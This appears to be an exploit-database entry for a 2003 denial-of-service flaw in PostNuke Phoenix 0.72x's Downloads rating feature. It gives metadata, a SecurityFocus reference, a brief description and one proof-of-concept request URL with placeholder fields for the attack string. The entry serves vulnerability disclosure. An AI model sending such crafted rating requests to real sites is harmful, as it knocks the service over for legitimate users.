PostNuke Phoenix 0.72x - Rating System Denial of Service

Author: Lorenzo Manuel Hernandez Garcia-Hierro
type: dos
platform: php
port: 
date_added: 2003-05-26
date_updated: 2012-11-13
verified: 1
codes: OSVDB-5500
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aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/7702/info

some submissions to the rating system. Because of this, a remote attacker may be able to submit a string that causes a denial of service to legitmate users.


http://www.example.com/modules.php?op=modload&name=Downloads&file=index&req=addrating&ratinglid=[DOWNLOAD ID]&ratinguser=[REMOTE USER]&ratinghost_name=[REMOTE HOST ;-)]&rating=[YOUR RANDOM CONTENT]